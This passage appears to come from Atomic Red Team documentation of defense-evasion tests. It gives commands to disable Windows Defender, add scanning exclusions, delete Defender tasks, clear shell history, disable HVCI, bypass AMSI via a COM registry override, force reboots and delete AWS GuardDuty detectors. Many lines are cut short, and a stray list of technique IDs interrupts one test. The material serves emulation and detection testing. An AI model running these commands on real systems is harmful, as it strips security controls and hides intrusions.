Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\Curren
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\Curren
```

Atomic Test #35 - Disable Windows Defender with PwSh Disable-WindowsOptionalFeature

The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images. A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed. This method will remove Defender and it's packages. Reference: https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps

Supported Platforms: Windows

auto_generated_guid: f542ffd3-37b4-4528-837f-682874faa012

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Gu
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Fe
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender" -
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Ap
```

Atomic Test #36 - WMIC Tamper with Windows Defender Evade Scanning Folder

The following Atomic will attempt to exclude a folder within Defender leveraging WMI Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/

Supported Platforms: Windows

auto_generated_guid: 59d386fc-3a4b-41b8-850d-9e3eee24dfe4

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPrefe
```

Cleanup Commands:

```
wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPrefe
```

Atomic Test #37 - Delete Windows Defender Scheduled Tasks

The following atomic test will delete the Windows Defender scheduled tasks.

Reference

Supported Platforms: Windows

auto_generated_guid: 4b841aa1-0d05-4b32-bbe7-7564346e7c76

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( schtasks /delete
IF EXIST "%temp%\Windows_Defender_Cleanup.xml" ( schtasks /delete /tn "\
IF EXIST "%temp%\Windows_Defender_Verification.xml" ( schtasks /delete /
IF EXIST "%temp%\Windows_Defender_Cache_Maintenance.xml" ( schtasks /del
```

Cleanup Commands:

```
schtasks /create /xml "%temp%\Windows_Defender_Scheduled_Scan.xml" /tn "
schtasks /create /xml "%temp%\Windows_Defender_Cleanup.xml" /tn "\Micros
schtasks /create /xml "%temp%\Windows_Defender_Verification.xml" /tn "\M
schtasks /create /xml "%temp%\Windows_Defender_Cache_Maintenance.xml" /t
```

Dependencies: Run with `command_prompt`!

Description: The Windows Defender scheduled tasks must be backed up first

Check Prereq Commands:

```
IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( EXIT 0 ) ELSE (
```

Get Prereq Commands:

```
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows De
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows De
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows De
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows De
```

Atomic Test #38 - Clear History

Clear Shell History. This technique only affect the bash shell application.

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
history -c
```

Atomic Test #39 - Suspend History

suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell

Supported Platforms: Linux

T1003.007
T1003.008
T1003
T1005
T1006
T1007
T1010
T1012
T1014
T1016
T1018
T1020
T1021.001
T1021.002
T1021.003
T1021.005
T1021.006
T1027.001
T1027.002
T1027.004
T1027.006
T1027
T1030
T1033
T1036.003
T1036.004
T1036.005
T1036.006
T1036
T1037.001
T1037.002
T1037.004

auto_generated_guid: 94f6a1c9-aae7-46a4-9083-2bb1f5768ec4

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
set +o history
```

Cleanup Commands:

```
set -o history
```

Atomic Test #40 - Reboot Linux Host via Kernel System Request

reboot system via system request seen in Awfulshred wiper.

Supported Platforms: Linux

auto_generated_guid: 6d6d3154-1a52-4d1a-9d51-92ab8148b32e

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
echo 1> /proc/sys/kernel/sysrq
echo b> /proc/sysrq-trigger
```

Atomic Test #41 - Clear Pagging Cache

clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/

Supported Platforms: Linux

auto_generated_guid: f790927b-ea85-4a16-b7b2-7eb44176a510

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
free && echo 3 > /proc/sys/vm/drop_caches && free
echo 3> /proc/sys/vm/drop_caches
```

Atomic Test #42 - Disable Memory Swap

disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of linux.

Supported Platforms: Linux

auto_generated_guid: e74e4c63-6fde-4ad2-9ee8-21c3a1733114

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
swapon -a
sleep 2
swapoff -a
sync
```

Cleanup Commands:

```
swapon -a
sleep 2
sync
```

Atomic Test #43 - Disable Hypervisor-Enforced Code Integrity (HVCI)

This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity "Enabled" value to "0". The pre-req needs to be ran in order to setup HVCI and have it enabled. We do not recommend running this in production. Black Lotus Campaign Microsoft

Supported Platforms: Windows

auto_generated_guid: 70bd71e6-eba4-4e00-92f7-617911dbe020

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\Hyp
```

Cleanup Commands:

```
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Enabl
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Requi
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locke
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\
```

Dependencies: Run with `powershell`!

Description: HVCI must be enabled

Check Prereq Commands:

```
if (((cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\Devic
```

Get Prereq Commands:

```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVi
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequireP
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked"
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\Hyp
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\Hyp
```

Atomic Test #44 - AMSI Bypass - Override AMSI via COM

With administrative rights, an adversary can disable AMSI via registry value in HKCU\Software\Classes\CLSID{fdb00e52-a214-4aa1-8fba-4357bb0072ec} by overriding the Microsoft Defender COM object for AMSI and points it to a DLL that does not exist. This is currently being used by AsyncRAT and others. https://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html https://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/

Supported Platforms: Windows

auto_generated_guid: 17538258-5699-4ff1-92d1-5ac9b0dc21f5

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072e
```

Cleanup Commands:

```
REG DELETE HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb00
```

Atomic Test #45 - AWS - GuardDuty Suspension or Deletion

Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.

Supported Platforms: Iaas:aws

auto_generated_guid: 11e65d8d-e7e4-470e-a3ff-82bc56ad938e

Inputs:

Name	Description	Type	Default Value
region	Name of the specified region	string	us-east-1

Attack Commands: Run with `bash`!

```
detectorId=$(aws guardduty create-detector --enable --region "#{region}"
aws guardduty update-detector --no-enable --detector-id $detectorId
aws guardduty delete-detector --detector-id $detectorId
```

Cleanup Commands:

```
echo "If test successfully ran, no cleanup required."
```

Dependencies: Run with `bash`!

Description: Check if ~/.aws/credentials file has a default stanza is configured

Check Prereq Commands:

```
cat ~/.aws/credentials | grep "default"
```

Get Prereq Commands:

```
echo "Please install the aws-cli and configure your AWS default profile
```